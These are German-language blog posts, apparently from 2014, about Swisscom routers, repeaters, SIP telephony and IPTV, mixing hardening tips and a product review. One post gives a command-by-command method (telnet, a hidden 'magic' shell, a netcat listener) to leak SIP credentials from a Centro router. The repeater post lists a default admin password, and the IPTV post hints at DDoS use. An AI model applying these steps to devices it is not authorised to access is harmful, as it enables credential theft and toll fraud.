Dienstag, 10. Juni 2014

Swisscom WLAN-Netzerweiterer Airties 4400 Firmwareupdate

Firmwareupdate für den Swisscom WLAN Repeater (Airties)

Für den WLAN Repeater von Swisscom steht ein Firmwareupdate zur Verfügung.
Dieses Update gilt nur für den kleinen weissen Repeater von Airties.
Dieses Update wird nicht automatisch verteilt und ist nicht leicht zu finden. Unter folgendem Link könnt ihr euch das Update aber holen:

Das Update wird via Webinterface des Repeaters installiert. Dazu sucht ihr in eurem Netzwerk den Repeater (zB. mittels der Geräteübersicht der Swisscom Router) und loggt euch unter der dort gefundenen IP auf das Gerät ein. Benutzername ist admin, das Passwort: password

Das Update verspricht folgende Verbesserungen:
  • verbesserte WLAN Sendeleistung
  • verbesserte WLAN Performance
  • open-source Konformität

Sonntag, 1. Juni 2014

4 Tipps wie man die Internet Box sicherer macht

Sicherere Einstellungen für die Swisscom Internet Box


Hallo Zusammen. Ich begrüsse euch zum ersten Artikel von mir bezüglich gewisser Einstellungen der Internet Box.
Die Swisscom Internet Box ist nun mittlerweile auch für Kupferkunden verfügbar. Die Centro Router werden nur noch in der Centro Grande Ausführung angeboten und als Standard Gerät deklariert.
Die Internet Box gibt es momentan als vergünstigte Promotion bei einem Wechsel auf die neuen Vivo M-XL Angebote.
Da nun doch schon einige Fragen bezüglich der Internet Box aufgetaucht sind, so möchte ich zum Start einige kleine Security Tipps geben.

1. Automatische Portweiterleitung erlauben (UPnP IDG)

Automatische Portweiterleitung erlauben, nein das wollen wir eigentlich nicht :)
Bei der Internet Box ist diese Einstellung per Default aktiv. Damit können Geräte oder Programme automatische Portweiterleitungen konfigurieren. Wie in diesem Artikel schon erklärt halte ich dies nicht für so schlau.
Die Erklärung der Box selber lautet:
Das automatische Konfigurieren von Portweiterleitungs-Regeln durch Geräte im Heimnetzwerk wird oft von modernen Spielkonsolen oder IP-Kameras verwendet. Der Vorteil ist, dass diese Geräte alle benötigten Ports automatisch öffnen, ohne dass der Benutzer etwas konfigurieren muss.
Ok schön und gut. Die "Vorteile" die man haben könnte wiegen die Sicherheitsbedenken welche dadurch entstehen können keinesfalls auf. Ein schadhaftes Gerät oder ein Script auf einer Webseite können durch diese Funktion ungehindert Portweiterleitungen erstellen und somit das Tor für weitere Angriffe öffnen.

Mein Tipp also: Router auf die Werkseinstellungen zurücksetzen und diese Funktion gleich deaktivieren!
Ihr findet die Einstellung im Experten-Modus unter Netzwerk, Portweiterleitungen.




Diese Einstellung hat übrigens keinen Einfluss auf weitere UPnP Funktionen der Internet Box. Die Box macht auch mit deaktivierter Funktion weiterhin Ankündigungen im Netz um Mediengeräte zu finden oder das ganze Netzwerk für den Swisscom Support und weiteren Interessenten zu mappen.

2. Passwort-Wiederherstellung deaktivieren

Die Internet Box bietet eine Funktion um ganz einfach via Display das admin Passwort anzuzeigen.
Seit ihr wirklich solche Holzköpfe wie da angenommen wird? Nicht wirklich hoffe ich. Ansonsten sehen wir mal darüber hinweg und deaktivieren diese Funktion unter Internet-Box, Einstellungen > Internet-Box Login
Kleiner Tipp. Falls ihr das Passwort wirklich mal vergessen habt könnt ihr dieses im Kundencenter nachschauen. Falls diese Funktion das Passwort noch nicht korrekt im Kundencenter hinterlegt, keine Sorge, wird durch Swisscom in einem nächsten Release gefixt.


 3. Wireless Passwort auf dem Display anzeigen

Die Internet-Box bietet noch eine nützliche Funktion auf dem Display. Sicherheitstechnisch aber auch äusserst bedenklich. Die Wireless Passwörter lassen sich sowohl für den Gast wie auch für das normale Netzwerk ganz einfach anzeigen. Ganz einfach ist es aber auch diese Lücke zu schliessen.
Und zwar unter:
Internet-Box > Display: Deaktiviert dort gleich beide Punkte.



Aber Achtung. Leider lässt sich momentan WPS nicht deaktivieren. Damit kann ein Gast oder Fremder mit einem kurzen Klick auf den äusserst prominent platzierten + Knopf Zugriff auf das Netzwerk erlangen. Bis dies gefixt ist, bleibt das deaktivieren der Passwörter auf dem Display ziemlich fruchtlos. Gemeldet ist es, ich hoffe auf einen baldigen fix.

4. einen Fremdrouter verwenden

Leider bietet die Internet Box keine Möglichkeit den Zugriff durch die Swisscom und damit Potentiell anderen, zB. der Regierung, zu unterbinden.
Daher noch der mehr oder weniger ernst gemeinte Tipp: verwendet einen Fremdrouter. Wer mich kennt weiss dies einzuordnen :)
Es wäre utopisch zu glauben das ein eigener Router einem vor allen Möglichkeiten schützt. Es liegt aber an euch ein grosses FUCK YOU zu sagen und bis zum Umdenken des Herstellers, sprich der Swisscom, die Anwender zumindest mal gelegentlich darauf hinzuweisen. Ich vertrete meine ehrliche Meinung auch wenn es mich zum dirty 0ne macht :)
Schlussendlich überlasse ich jedem seine eigene Entscheidung. Ich weiss das dies aber ein Punkt ist welcher vielen nicht gefällt.
Fast die ganze Kommunikation läuft über Equipment von Swisscom. Daneben ist sie Nummer 1 im Festnetz sowie bei Mobile. Mit ihrem wirklich guten TV Angebot weiss sie nun zu den genannten Punkten auch noch auf die Sekunde was da konsumiert wird. Bluewin ist eine grosse wenn nicht die grösste News Seite der Schweiz. Mit kommenden Services hat man seine Daten auch gleich noch in der Swisscom Cloud. Mit Docsafe wissen sie auch noch wie hoch eure Rechnungen sind. BIG DATA!
Braucht es da noch einen Big Brother im eigenem Netz?
Wie sag ich so gern, heikel halt :D
Möge es den einen oder anderen trösten, das Goggle mit weniger Möglichkeiten bereits viel schon weiss...





Dienstag, 6. Mai 2014

Warnung! Sorgfältiger Umgang mit den SIP Credentials

Vorwort

Dieser Blog hat sicherlich schon einige kontroverse Beiträge verfasst. Unter anderem die im Bezug auf die Extrahierung und Verwendung der Zugangsdaten für die Swisscom IP Telefonie.
Die Storyschreiber des grössten Schweizer Providers haben es in den letzten Jahren schlicht verpasst auf die Bedürfnisse einiger Kunden einzugehen. Trotz Kernkompetenz Telefonie und einem nicht unerheblichen Budget, Manpower und Know-how, hat man bis heute zB. keine App  um die IP Telefonie auch auf anderen Geräten, sprich dem Smartphone, zu verwenden.
Mit der IP Telefonie für Privatkunden ist es zwar weiterhin möglich analoge Endgeräte an den Ports des Routers bzw. über eine Rückspeisung in die Installation zu verwenden. Bezüglich IP Endgerät hat man aber aktuell gerade mal sage und schreibe 1 Telefon im Angebot! Über dessen Qualität und (nicht vorhandenen) Features ich mich schon das eine oder andere Mal geäussert habe. Natürlich im Wohlwollen der Verantwortlichen :)
Mit der neuen Internet Box bringt die Swisscom noch mehr Telefonfunktionalität in ihr CPE. Eine DECT Station, Telefonbuch und die interne Kommunikation wird ermöglicht. Nota bene ist die Internet Box ein absolut geschlossenes System. Funktionalitäten wie das Telefonbuch werden nur mit Swisscom geprüften Endgeräten möglich sein. Unter Umständen gibt es noch eine App welche die Telefonie über die Internet Box auch vom Smartphone aus ermöglichen wird. Tönt doch irgendwie alles fancy.
Aber hey! Vorgeschriebene Endgeräte hatten wird schon mal zu Zeiten der PTT. Die Entwicklung der CPE und gewisser Dienste zeigen in den letzten Jahren doch einige besorgniserregende Tendenzen.
Geschlossene Systeme mit wenigen oder lächerlichen Funktionen, gegipfelt in der Swisscom Internet Box!
Schade, denn die Swisscom verfügt über eine Centrex Anlage welche mehr bietet. Vor allem mehr Freiheit.

Daher wird es immer Leute geben welchen die angebotenen Gerätschaften nicht genügen, daher wird es immer solche Blogs wie diesen geben. Je geschlossener die Systeme werden, desto grösser der Reiz und die Motivation diese Ketten zu sprengen.

Wer solche Systeme entwickelt und Scheisse für Gold verkaufen will muss sich nicht wundern...

Also SCHNAUZE TIEF! >(

Ursache

Trotz Warnung auf der entsprechenden Seite mit den SIP Zugangsdaten einen sorgfältigen Umgang zu pflegen, soll es Personen geben welche dies nicht ganz so beherzigen.
Durch gestohlene Zugangsdaten wird dem Dieb natürlich das telefonieren über die Rufnummer ermöglicht. Dabei kann es so richtig in Geld gehen. Hier bin ich der gleichen Meinung wie Swisscom, dass es natürlich nicht sein kann, dass die Swisscom hier auf Kulanz und Entschädigung eingehen muss. Denn ihr habt es ja gewusst, dass so etwas passieren kann!
Daher gebe ich im folgenden einige Ratschläge wie man die Sicherheit erhöhen und den Schaden begrenzen kann.

Massnahmen

Sperrset

Auch wenn ihr die folgenden Ratschläge nicht befolgen könnt, so geht doch wenigsten ins Kundencenter und aktiviert das Sperrset: "Internationale Verbindungen, 090er Nummer & Carrier Selection sperren"
Braucht ihr 0900 Nummern, braucht ihr die CPS? Ziemlich sicher nicht. Also sperrt das doch gleich. Möglich das ihr internationale Verbindungen zwischen durch mal braucht. Gesperrt und entsperrt ist schnell mal.
Sollten die Zugangsdaten gestohlen sein, so wird das Konto durch dieses Sperrset schnell mal uninteressant!



Updates

Haltet euer System, App oder Endgerät aktuell. Gerade die Sicherheitslücke bei der Fritzbox hat zu vielen Frauds geführt. Ihr wisst das die Daten sensibel sind. Lücken kann es immer mal geben, dagegen ist man kaum gefeit. Jemandem welcher die Credentials ausliest, setze ich allerdings schon ein wenig technischen Interesse voraus, wobei man also davon ausgehen kann, dass die Fritzbox Lücke eigentlich bekannt sein sollte.
Leider zeigen Scans das es viele Knalltüten gibt welche immer noch mit alter Firmware unterwegs sind. Tja.
Fritzbox User halt :))

VPN

Falls ihr die Daten nomadisch verwenden möchtet, empfehle ich ein VPN ins heimische Netz. Damit bleibt der Telefon Traffic zumindest im Swisscom Netz.

Endgerät/Software

Gebt eure Daten nicht in jede Drecksapp ein. Eigene Analysen haben ergeben das die Bria App für Android eine Digest access authentication vornimmt. Der Swisscom Server sendet einen WWW-Authenticate. Somit wird das eigentliche Passwort mittels md5 gehasht und nicht im Klartext übermittelt. Das Passwort ist also kryptografisch geschützt. Abgesehen von sonstigen Exploits ist man also sicher. So sicher wie beim Einsatz des offiziellen IP Phone Rousseau.
Ob der SIP Server sogar diese Art der Authentifizierung voraussetzt ist mir nicht bekannt. So sehr interessierts mich nun doch auch wieder nicht.


Ich hoffe ihr beherzigt diese Tipps oder aktiviert wenigstens das Sperrset.
Somit werden wir auch in Zukunft unsere Freude abseits der Spezifikationen haben ohne das wir CPE's verwenden müssen mit denen die Swisscom im lokalem Netz rumschnüffeln kann.

Samstag, 3. Mai 2014

Swisscom SIP - Zugangsdaten auslesen Centro Router Motorola/Arris

SIP-Zugangsdaten auslesen Centro Router Motorola/Arris

Um an die SIP Zugangsdaten seinen Swisscom Telefonanschlusses zu kommen brauchte man bisweilen einen Centro Router von Pirelli/ADB.
Durch die Information und freundlicher Genehmigung von revault.ch ist es mir nun möglich euch noch einen anderen Weg mit dem Centro Router von Motorola/Arris zu zeigen. Dieser ist sogar noch etwas einfacher anzuwenden da man hierzu kein Downgrade der Firmware machen muss Dabei spielt es keine Rolle ob es sich um einen grande oder piccolo dieses Herstellers handelt.
Geprüft wurde der Exploit mit der Firmware Version 9.0.10h2d12

Voraussetzung

Die SIP Daten müssen auf den Router geschrieben sein. Die Telefon LED muss also weiss leuchten.
Als Trick verwendet man einen Netcat listener im selben Netzwerk. Die Befehle in diesem Beitrag beziehen sich auf die Linux Version. Die Verwendung der Zugangsdaten wird bereits in diesem Beitrag beschrieben und nicht nochmals erwähnt:



How to

Zuerst startet man einen Netcat listener auf einer Maschine im selben Netzwerk des Routers. Dies kann die gleiche Maschine sein von der aus wir nachher noch eine Telnet Verbindung zum Router aufbauen. Natürlich muss der Port des listeners, in diesem Beispiel 1669, erreichbar sein!

nc -l 1669 |grep siputilsauth.c


Als nächstest startet man mit einem anderen Prozess oder auf einer anderen Maschine eine Telnet Verbindung auf den Router und loggt sich als admin ein.

telnet 192.168.1.1

Mittels dem Befehl magic öffnet man auf dem Router eine erweiterte shell und aktiviert das Logging auf den zuvor eröffneten Netcat listener. Hierzu ist die IP und der Port dem eigenen Netz anzupassen!

magic
voip trace sipstack on
voip extrnlog on 192.168.1.102:1669 8


Um den listener mit Daten zu füllen, muss man einen SIP Parameter ändern. Bei der grande Version kann man gleich beide Linien ändern, bei der piccolo nur eine da ja auch nur eine physikalische Schnittstelle vorhanden ist.

configure
set voip phone 1 sip-expires-time 5
set voip phone 2 sip-expires-time 5
validate
save
exit

Nachdem man einige Sekunden gewartet hat setzt man den Wert wieder auf den dafür vorgesehenen.

configure
set voip phone 1 sip-expires-time 3600
set voip phone 2 sip-expires-time 3600
validate
save
exit



Der Netcat listener sollte sich wie auf dem Bild zu sehen mit den benötigten Daten gefüllt haben. Falls nicht, einfach die Befehle nochmals ausführen.
Hat man im Falle von Multiline mehrere Rufnummern kann man diese den Ports des Routers zuweisen lassen und ebenfalls auslesen.
Ist man fertig schaltet man das Logging auf dem Router noch aus.

voip trace sipstack off
voip extrnlog off

Vielen Dank für die Unterstützung und viel Spass damit!



Montag, 7. April 2014

IPTV auf dem PC schauen

IPTV losgelöst von der STB


verschlüsselter IPTV Stream
In diesem Beitrag erkäre ich, wie man unverschlüsselte IPTV Streams seines Anbieters auch auf dem PC schauen kann. Die STBen der IPTV Anbieter sind durchs Band geschlossene Systeme. Es ist nicht möglich aufgenommene Sendungen auf die Festplatte eines Computers oder NAS zu speichern. Trotz USB und E-SATA Anschlüssen ist keinerlei Erweiterung des Speichers möglich. Ist die Festplatte voll und es muss
gelöscht werden oder das Gerät erleidet einen Defekt, sind die Aufnahmen weg. Mit Cloud Lösungen können die Anbieter dem Speicher und Hardware Problem aus dem Weg gehen. Der klassische Kopierer hat mit IPTV in dem Sinne aber eigentlich ausgedient.
Kopieren soll aber nicht nur der einzige Grund sein warum man sich unverschlüsselte IPTV Streams wünscht. Evtl. möchte man auch ganz einfach auf dem Computer eine Sendung schauen ohne das man dort extra eine STB hinstellen muss.
Damit so was überhaupt möglich ist, muss die Grundverschlüsselung aufgehoben sein.
Möglich das dies bei deinem IPTV Anbieter der Fall ist? :)
So sind die Streams der öffentlich rechtlichen Sender in Deutschland schon seit einiger Zeit unveschlüsselt.
http://www.zdf.de/IPTV-Empfang-auf-dem-PC-26312938.html

Quelle ausfindig machen

Fakt ist, man muss kein Hudini sein um die IPTV Quellen ausfindig zu machen. Wer zB. Swisscom- oder Sunrise TV empfängt, kann die Quellen ganz einfach mittels Wireshark ausfindig machen. Da man hier mit öffentlich erreichbaren Adressen arbeitet hat das alles nichts mit illegalem Hacken zu tun. Das Eingeben von IP Adressen ist rechtlich absolut unbedenklich.
In diesem kleinen how-to zeige ich wie man diese Adressen selber ausfindig macht :)

  • Zu Beginn überlegt man sich mal was man für einen Switch zur Verfügung hat. Je simpler dieser ist desto einfacher wird diese kleine Übung. Kann dieser kein igmp snooping, so steckt man einfach die STB, einen Capture PC und den Router auf diesen Switch.
  • Hat man hingegen einen igmp snooping tauglichen Switch deaktiviert man entweder wie ein Bauer diese Funktion vorübergehend oder macht eine Port Spiegelung der entsprechenden Ports. (Port STB auf Port Capture PC) Infos zu igmp snooping findet man in diesem Artikel:
http://www.tuxone.ch/2013/07/swisscom-multicast-im-lan.html


  • Alles was man nun noch braucht ist eine aktuelle Version eines Netzwerk Sniffers zB. Wireshark. Zu finden hier:
http://www.wireshark.org/download.html
  • Man wählt im Programm das Netzwerk Interface aus mit welchem der PC verbunden ist und drückt auf Start.



  • Jetzt ist es Zeit um mal die STB zu starten und ein wenig durch das live Programm zu zappen. Hat man alles richtig gemacht erscheint auch schon tonnenweise UDP Traffic. In Wireshark sieht dies wie auf dem folgendem Bild aus.



  • Nun kann man sich mal so ein Paket genauer anschauen. Mit einem Doppelklick auf solch ein Paket öffnet sich ein Fenster. In diesem Fenster interessieren uns die Multicast Destination und den Source Port. Markiert auf dem folgenden Bild. In diesem Falle wäre dies 239.186.68.1:10000





  • Wireshark kann man vorerst mal schliessen. Jetzt benötigt man einen Player welcher solche Multicast Adressen öffnen kann. Der bekannteste Player dazu ist der VLC. http://www.videolan.org/vlc/ Klar kann man später zB. mittels DVB-Link eine Integration in das NAS oder sonstwo machen...
  • Alles was man nun noch braucht ist ein bisschen Erfahrung oder pröbeln: Damit der Stream empfangen werden kann muss der "Link" korrekt eingegeben werden, abgesehen das eine allfällige Firewall hier nicht blockiert. Neben einem rdp Stream ist auch ein udp Stream möglich. Die Links unterscheiden sich hier je nach Quelle beziehungsweise Anbieter, natürlich betrifft dies auch die Port Adresse.
    Hier 2 Beispiele:
    Swisscom TV 2.0: rtp://@239.186.68.1:10000 (SRF1 HD unverschlüsselt)
    Sunrise TV: rtp://@233.35.254.1:1234 (SRF1 SD unverschlüsselt)
  • In einem nächsten Schritt lässt sich der ganze Multicast Bereich abscannen. Dafür eignet sich ein Tool Namens TransEdit. Auf dieses Tool und eine weitere Integration dieser Streams in Mediacenter Applikationen uä. sowie die Verknüpfung mit TV Guide Daten, geht dieser Artikel nicht ein.


Somit habt ihr das grundlegende Handwerk erlernt IPTV Streams ausfindig zu machen.
Ob dies allerdings noch lange so möglich bleibt wird sich zeigen. Das Problem am Swisscom Netzwerk, auf welchem sich auch Anbieter wie Sunrise, green und Wingo befinden ist, diese Streams lassen sich Providerübergreifend anziehen! Der einzige Schutz welcher die Provider aktuell haben ist es diese Streams zu verschlüsseln.
Grund dieses Beitrages ist die überraschende Tatsache der vielen unverschlüsselten IPTV Streams der Swisscom TV 2.0 Plattform. Aber selbst wenn die Streams verschlüsselt sind, erzeugt man mit dem Anziehen solcher Streams Netzwerklast, was im weiteren Sinne interessant sein könnte um ein DDoS auf das Swisscom Netz zu starten! Man kann also gespannt sein wie nun die Provider darauf reagieren werden :)
Viel Spass damit, spielt ein wenig rum so lange es noch geht.
Die Früchte dieser Saat könnt ihr unter dem folgenden Link bereits ernten ;)

Kollege Markus hat auf seinem Blog einen Artikel dazu geschrieben.
http://blog.markus-mail.com/swisscom-iptv-rtp-vlc-player/

http://www.regardtv.net/t6105-flux-swisscomtv2

Ich bitte euch in den Kommentaren keine weiteren Quellen kleiner Anbieter zu nennen.
Natürlich dürft ihr mir diese aber per Mail zukommen lassen.

Donnerstag, 3. April 2014

Swisscom TV 2.0 Simulation

Swisscom TV 2.0 Simulation

Benötigt Adobe Flash
Abweichungen zum Endprodukt vorhanden


Swisscom TV 2.0

The Next Big Thing

cause we love tv



Heute ist es so weit! Swisscom hat den nächsten Schritt von Swisscom TV vorgestellt, Swisscom TV 2.0
Von vielen erwartet, von manchen gefürchtet.
Ob Freude oder Furcht, so viel bin ich mir sicher, die Erwartungen werden erfüllt :D
Erst im letzten Kassensturz-Test hat Swisscom TV gegenüber den Mitbewerbern brilliert. Zu einem Zeitpunkt, bei dem TV 2.0 bereits seit einiger Zeit in Entwicklung und Live im Testing war, hat man mit der "alten Krücke" Mediaroom noch gewonnen. Für den freien Markt eigentlich schade, befürchte ich, dass TV 2.0 der Konkurrenz faktisch das Genick brechen wird.

Die Hardware

Sinnbild
Die Box kommt im neuen typischen Design von Nose, welches schon von der Internet-Box her bekannt ist.
Da mit TV 2.0 keine lokale Harddisk nötig ist, schrumpft die passiv gekühlte Box auf mickrige 130x130x30mm. Hergestellt wird die Box von Vestel, einem Hersteller welcher hierzulande bereits Bekanntheit mit der Android STB für Wingo erlangt hat. Die Box nennt sich IP1200.

Als Schnittstellen verfügt die kleine Box über einen LAN Anschluss,  einen USB und MicroUSB Port (noch nicht offiziell nutzbar), einer Audio Schnittstelle, einem HDMI Anschluss und einem integriertem Wireless Modul, welches die Box künftig direkt mit der Internet Box oder einem Verbindungskit verbinden lässt. In die Audio Buchse lässt sich sowohl ein Klinkenstecker wie auch ein Mini/Toslink Verbindungskabel einstecken. Was in Zukunft alles über die USB Schnittstelle möglich ist wird sich noch zeigen. Es wurde aber auch schon berichtet das man eine Tastatur einstecken konnte. Die Möglichkeiten sind hier noch offen. Vorstellbar sind weitere Dinge wie Gamepads usw.



Des weiteren wird die Fernbedienung State of the Art mittels Bluetooth gekoppelt. Während des Test wurde auch eine IR Schnittstelle entwickelt, womit man die konventionellen IR Universalfernbedienungen weiterhin verwenden kann. Somit kann man seine Harmony oder B&O Fernbedienung auch weiterhin nutzen.



HDMI-CEC ist natürlich auch ein Thema. Befehle von und zu dem TV Abspielgerät sind somit möglich.
Während dem Testing war es mal möglich, die Box zB. mit der Samsung Fernbedienung des TV Gerätes über CEC zu steuern. Später wurde diese Funktion wieder entfernt. Prinzipiell kann man aber davon ausgehen, dass hier entwickelt wird.

Manch Dinosaurier wird die SCART Schnittstelle vermissen, aber auch hier, während dem Testing wurden entsprechende Adapter geprüft, seitens Swisscom aber nur noch HDMI unterstützt. So muss zB. nur noch ein Bildformat unterstützt werden.

Die Box verfügt über einen active Standby von ca. 5W. Einen Deep Standby wie es die Mediaroom Boxen von Tatung noch kannten gibt es noch nicht. Es ist aber kein Problem die Box mittels Kippschalter ganz abzustellen, das System bootet innert Sekunden (35s). Klar ist, hier gibt es einen Punkt wo man für die Zukunft noch ein wenig nachbessern kann, bzw. sollte. So wie ich informiert bin ist dies aber bereits in der Planung.

Das System

Das Betriebssystem basiert auf Android. Durch die Trennung von Mediaroom kann Swisscom nun ihre persönlichen Ideen und Ansprüche überhaupt und wesentlich schneller implementieren. Nicht unerheblich werden die wegfallenden Lizenzkosten für Mediaroom sein.
Ist das System stabil und verfügbar, wird die Swisscom rein schon aus Kostengründen sicher einen schnelle Migration anstreben. TV 2.0 ist ein Produkt welches nur auf dem N(ew)-Stack verfügbar ist, auch bekannt als ALL IP. Damit ist klar, dass auf diese Plattform migriert werden muss möchte man zu TV 2.0 wechseln.

Das UI ist schlank und schnell. TV 2.0 läuft als eigentliche App auf dem OS, wird aber automatisch gestartet, womit man den Background ohne Absturz oder eine Tastenkombination nicht zu sehen bekommen sollte. Es gibt dort allerdings auch nicht viel zu sehen, bin aber zugegeben auch kein Coder :)
TV 2014 greift auch auf ein neues Backend zurück. Konnte so Mediaroom, Replay nur aus dem RAM der Server liefern, womit man stark eingeschränkt wurde, ist man mit dem neuen System davon befreit.
Vergleicht man das Bild zwischen TV 2.0 und TV Mediaroom sind dies gefühlte Welten. Mit 1920x1080, auf einem entsprechendem Bildschirm, selbst wenn das Material von 1280x720 durch die Box hochskaliert wird, ist der Unterschied sofort sichtbar. Das Bild ist nun wesentlich schärfer und brillanter. Wichtig dabei, dass HDMI Kabel oder eine besseres, welches zur Box geliefert wird, muss verwendet werden. Im Vergleich Mediaroom zu schauen verursacht nun fast schon Augenkrebs. Davon bin ich aber schon seit letztem Spätsommer befreit.

Was neu ist, muss/sollte aber auch für den Nutzer besser sein. Neben dem Bild kann man nun mit der "Cloud" auftrumpfen.
  • 7 Tage Replay
  • Replay auf über 250 Sendern auch in HD, logo. Allerdings ist auf den Pay TV Sendern auch weiterhin kein Replay möglich, irgendwie auch logisch.
  • Mehr Speicher für Aufnahmen, alles in der Cloud, yes. Max. 1000h, kein Problem.
  • Gleichzeitige Aufnahmen, praktisch so viel man will. Ja, klar. Die Aufnahme wird in der Cloud gemacht. Somit schränkt die Bandbreite des Internetanschlusses nur die maximal mögliche Anzahl an gleichzeitigen Streams, welche man auch tatsächlich gerade schaut, ein. Insofern also nur noch für Multiroom eine gewisse Relevanz! Allenfalls für höhere Qualitäten der Streams. Ultra HD soll ja auch mal ein Thema werden :) Weitere Details in diesem Fachartikel
  • Zudem ein Backend und eine Redaktion welche TV Sendungen empfiehlt, ja. Kuckst du hier. Bitte schön ;)
  • Apps aus einem Store, ja, auch wenn es nur der Opera App Store ist
  • Eine erweiterte Konvergenz von ca 80%

Neu bedeutet mit TV 2.0 aber auch anders. Vielen werden sich an die neue Optik mit der "grauen Tapete" und der Abkehr vom Bluewin Blau zuerst mal gewöhnen müssen. Mir gefiel der Look eigentlich von Anfang an ziemlich gut. Weiss aber, dass sich viele damit auch schwer tun. Mit einem Mäusekino soll die Darstellung nicht so optimal sein... TV 2014 ist der Schritt in eine neu Ära, somit wohl auch bewusst keine Kopie vom bisherigen Designs und damit auch überraschend frisch.

Im folgenden einige Einblicke über die verschiedenen Bestandteile von TV 2.0

TV Home

TV 2.0 verfügt über einen Startbildschirm auf dem Sendungen vorgeschlagen werden. Ein bunter Mix an Aufnahmen, VoD, Sendungen der Vergangenheit, dem Präsenz und der Zukunft, werden in einem Flow Chart dargestellt. Das Backend analysiert den Konsum und schlägt mal mehr oder meist weniger passende Sendungen vor (Analyse lässt sich deaktivieren) und markiert diese mit einem Herzchen :) Hier wird man in Zukunft das Ganze wohl noch besser personalisieren können. Daneben werden von der Bluewin Teleclub Redaktion aktuelle Highlights vorgeschlagen, erkennbar an einem Stern. 

TV Guide


Der TV Guide ist aufgeräumt und unspektakulär. Sind die Daten geladen läuft das Scrollen flüssig. Muss nachgeladen werden harzt es ein wenig. Der Guide liefert Daten für 12 Tage in die Zukunft und 7 Tage in die Vergangenheit. Mittels den bekannten Trick Modes lässt sich schnell navigieren. Verpasste Sendungen auf Replay Sendern lassen sich bis zu 7 Tage später noch zu den Aufnahmen hinzufügen und somit in das eigene Archiv verschieben.

Die Suche

Die Suche könnte aktuell noch die Achilles Ferse von TV 2.0 sein. Trösten kann man sich, dass die Suchfunktion zuletzt auch bei Mediaroom ins hapern gekommen ist. Auch TV 2.0 liefert momentan noch teils seltsame Resultate. Hier muss nachgebessert werden. So programmiere ich die Aufnahmen von Teleclub Spielfilmen lieber und wesentlich schneller mittels dem TV Guide.

Aufnahmen

Obwohl Replay nun massiv ausgebaut wurde wird so mancher sein Kontingent ausschöpfen. 1000h Speicherplatz! Ohne völlige soziale Degeneration nicht!!! schaubar. Du schaffst das? Sorry tut mir echt leid für dich :D
Man wird bemerken, dass sich durch die Möglichkeiten welche man hat, der Speicher und die Anzahl an Aufnahmen schnell steigern wird. Zum Glück lassen sich die Aufnahmen gut verwalten.
Die Ansicht lässt sich ebenfalls anpassen. Ob als Liste oder im Magazin Style, jeder wird seine passende Präferenz finden. Findet man unter den eigenen Aufnahmen trotzdem nichts passendes, wird auch hier auf ähnliche Sendungen verwiesen.

Live TV

Nebst all den Funktionen soll TV 2.0 auch weiterhin primär dem Fernsehgenuss dienen, zumindest könnte man dies meinen.
Mittels Druck auf Optionen bekommt man die passenden Informationen zu einer Sendung, nice.
Die Bildqualität wurde schon angesprochen. Selber sehen ist die Devise.






Apps

Bei den Apps ist die grösste Spielwiese vorhanden. Das TV Vergnügen ist mit seinen erweiterten Möglichkeiten schlussendlich irgendwie gegeben. Hat man dazu noch ein System welches die gewaltige Flut an verfügbarem Content welcher TV 2.0 liefern kann noch so einigermassen fassbar macht, gibt es diesbezüglich ja so eigentlich nicht mehr viel neues zu erwarten.
Hier greifen die Apps ein. Youtube, Facebook, Twitter, Sudoku und und und, einfach all den shizzle, welchen man sich vorstellen kann, ist theoretisch möglich. Selbst eine App welche die TV Box zu einem Mediastreamer des lokalen Netzwerkes macht war vorhanden. Grenzen werden hier eigentlich nur durch die Anwender der Swisscom gemacht. Ist eine App oder Funktion nicht supportbar oder in der Masse der unterschiedlichen Umgebungen kritisch, wird man sich hüten diese Funktion zu implementieren bzw. freizuschalten. Sogar Youtube wird auf TV 2.0 nochmals cooler. Die App auf dem TV lässt sich mit der offiziellen Youtube App auf einem Android Gerät verbinden. Die Navigation übernimmt somit das Smartphone, das Bild TV 2.0 .

Neue Vivo Bundles

Swisscom TV 2.0 ist nur mit den neuen Vivo Bundles erhältlich.
Angepasst an die Mobilen Infinity Angebote gibt es zum Marktlaunch ein Vivo M-XL.
Diese ersetzen die bisherigen Vivo 4 Stern und 5 Stern. Vivo 1 Stern bis 3 Stern bleiben noch bestehen, dabei bekommt man aber kein Swisscom TV 2.0. Weitere Angebote werden zu einem späteren Zeitpunkt erfolgen.
Bestandeskunden welche auf eines der neuen Angebote wechseln bezahlen eine Aktivierungsgebühr von CHF 99.- . Neukunden bezahlen eine Aktivierungsgebühr von CHF 43.- .
Übrigens: Aufnahmen welche man seit dem 1.Februar 2014 gemacht hat, sind bereits in der Cloud gespeichert. Wechselt man also auf ein neues Angebot so sind die Aufnahmen ab diesem Datum noch vorhanden. Ältere sind definitiv gone.
Alle Bundles gibt es wie bisher mit und ohne Festnetztelefone. Dabei gibt es keinen Kompromiss mehr. Die Bundles sind nur noch auf der IP Plattform erhältlich, das Festnetztelefon wird also definitiv auf die IP Plattform umgestellt!
Die Pakete unterscheiden sich vor allem bezüglich der erreichbaren Surfgeschwindigkeit, neu mit einem Download/Upload Verhältnis von 5:1, wobei es zwischen Fiber und Kupferanschlüssen keinen Unterschied mehr gibt. Klar das die hohen Geschwindigkeiten aber "vorerst" nur mittels Fiber Anschluss erreicht werden können. Man sollte also zuerst mal den Checker bemühen um zu sehen welche Geschwindigkeit man erreichen kann. Wer ein bisschen mehr wissen will, dem empfehle ich diesen Artikel:
http://www.tuxone.ch/2013/01/access-und-serviceprofil-bei-swisscom.html
Die maximale Geschwindigkeit welche mit einem Centro Router auf Kupfer erreicht werden kann liegt aktuell bei 80/10 Mbit/s! 65% der Vivo Kunden erreichen aktuell max 65 Mbit/s im Downstream.

Vivo XL:

CHF 169.- mit Festnetztelefonie
Unlimitiert in alle Fest- und Mobilnetze der Schweiz und Ländergruppe 1 telefonieren (Europa, USA und Kanada)
CHF 154.- ohne Festnetztelefonie

Download max. 300 Mbit/s Upload max 60 Mbit/s
Option 1Gbit/s für Glasfaser möglich. Preis zusätzliche CHF 80.- pro Monat.

Vivo L:

CHF 139.- mit Festnetztelefonie
Unlimitiert in alle Schweizer Fest- und Mobilnetze telefonieren.
CHF 124.- ohne Festnetztelefonie

Download max. 100 Mbit/s Upload max 20 Mbit/s

VivoM:

CHF 129.- mit Festnetztelefonie
Unlimitiert in alle Schweizer Fest- und Mobilnetze telefonieren.
CHF 114.- ohne Festnetztelefonie

Download max. 40 Mbit/s Upload max 8 Mbit/s

